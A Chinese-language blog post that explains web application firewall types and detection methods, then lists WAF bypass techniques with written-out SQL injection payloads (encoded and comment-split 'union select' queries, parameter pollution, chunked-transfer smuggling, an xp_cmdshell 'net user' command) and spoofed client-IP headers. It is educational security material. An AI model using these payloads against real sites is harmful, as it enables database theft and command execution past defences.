WAF
简介
WAF(Web Application Firewall)全称为web应用防火墙。是一种用于监控入站和出站网络流量的网络安全设备,可基于一组定义的安全规则来决定是允许还是阻止特定流量。
市场上WAF主要有:
-
硬件waf
硬件 Waf 通常的安装方式是将 Waf 串行部署在 Web 服务器前端,用于检测、阻断异常流量。
常规硬件 Waf 的实现方式是通过代理技术代理来自外部的流量,并对请求包进行解析,通过安全规则库的攻击规则进行匹配,如成功匹配规则库中的规则,则识别为异常并进行请求阻断。 -
软件waf
软件 Waf 则是安装在需要防护的服务器上,实现方式通常是 Waf 监听端口或以 Web 容器扩展方式进行请求检测和阻断。
-
云waf
云 WAF,也称 WEB 应用防火墙的云模式,这种模式让用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护,它的主要实现方式是利用 DNS 技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。
防火墙的作用
- 过滤进出网络的数据包
- 管理进出网络的访问行为
- 封堵某些禁止的访问行为
- 记录通过防火墙的信息内容和活动
- 对网络攻击进行检测和告警
- 能过滤大部分的危险端口
- 设置严格的外向内的状态过滤规则
- 抵挡大部分的DOS攻击
- 安全HTTP头管理
- X-XSS-Protection
- X-Frame-Options
分类及原理
包过滤防火墙
根据分组包的源、目的地址,端口号及协议类型、标志位确定是否允许分组包通过。
特性:
- 简单包过滤防火墙不检查数据区
- 简单包过滤防火墙不建立状态连接表
- 前后报文无关
- 应用层控制很弱
应用网关防火墙
是一个运行一个或多个应用层网关的主机,即应用网关防火墙,该主机有多个网络接口,能够在应用层中继两个连接之间的特定类型的流量。
特性:
- 不检查IP、TCP、UDP包头
- 不建立连接状态表
- 网络层保护比较弱
状态检测防火墙
对于新建立的应用连接,状态检测型防火墙先检查预先设置的安全规则,允许符合规则的连接通过;记录下该连接的相关信息,生成状态表;对该连接的后续数据包,只要是符合状态表,就可以通过。目前的状态检测技术仅可用于TCP/IP网络。
特性:
- 连接状态可以简化规则的设置
- 提供完整的对传输层的控制能力
- 使防火墙性能得到较大的提高,特别是大流量的处理能力
- 对应用层检测不够深入
状态检测防火墙处理示意图:
深度检测防火墙
深度检测技术深入检查通过防火墙的每个数据包及其应用载荷以基于指纹匹配、启发式技术、异常检测以及统计学分析等技术的规则集,可以更有效的辨识和防护缓冲区溢出攻击、DDos攻击、各种欺骗性技术以及蠕虫病毒。
WAF常用方式
WAF常用的方法有关键字检测、正则表达式检测、语法分析、行为分析、声誉分析、机器学习等。
-
语法分析
语法的分析相对正则来说更快而且更准确,这种分析会把载荷按照语法解析成的符号组,然后在符号组中寻找危险的关键字。这种方式对一些载荷的变式有较好的效果,但是同样的,对解析器要求较高。
-
行为分析
例如攻击者的端口扫描行为、目录爆破、参数测试或者一些其他自动化或者攻击的模式都会被纳入考虑之中。
-
声誉分析
可以比较好的过滤掉一些可疑的来源,例如常用的VPN、匿名代理、Tor节点、僵尸网络节点的IP等。可与威胁情报来源的数据进行联动。
绕过WAF的方式
大body
使用消耗大的payload,或 提供大量无效参数。
Fuzz
更改请求方式,GET
转POST
WAF默认只针对GET
拦截,因此可将请求方式更换为POST
关键字变形
-
大小写变形
-
字符转hex
通过工具伪造百度、google 等 user agent 头或者伪造白名单特殊目录
编码绕过
-
URL编码
1
2union select 1,2,3
union%20select%201%2C2%2C3 // url编码 -
十六进制编码
-
Unicode编码
-
Base64
-
HTML实体编码
-
JSFuck
复合参数绕过
如:
1 | GET /xxx/aaa.php?id=1 union select user,password from mysql.user |
修改为
1 | GET /xxx/aaa.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user |
规则绕过
-
特殊字符替换空格
%0a/**/
、/*|%23--%23|*/
-
特殊字符拼接:
+
如:
1
GET /xxx/aaa.php?id=1;exec(master..xp_cmdshell 'net user')
修改为
1
GET /xxx/aaa.php?id=1;exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
-
注视包含关键字
如:
1
GET /xxx/aaa.php?id=1 union select user,password from mysql.user
修改为
1
GET /xxx/aaa.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user
-
双写绕过
UNIunionON SELselectECT 1,2,3,4….
经过 waf 过滤后就变成UNION SELECT 1,2,3,4....
-
异或绕过
lucy' Xor '1'='1' #
-
分块传输绕过
如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 87
4
id=1
6
union
7
select
2
1
8
,user(),
5
3,4,5
0目标请求为:
id=1 union select 1,user(),3,4,5
特殊符号
可使用空字符干扰
1 | NULL(x00) |
云WAF绕过
-
由于云WAF是移交了域名解析权,因此找到真实IP就可以绕过云WAF
-
云 waf 伪造请求包头信息
1
2
3
4
5X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !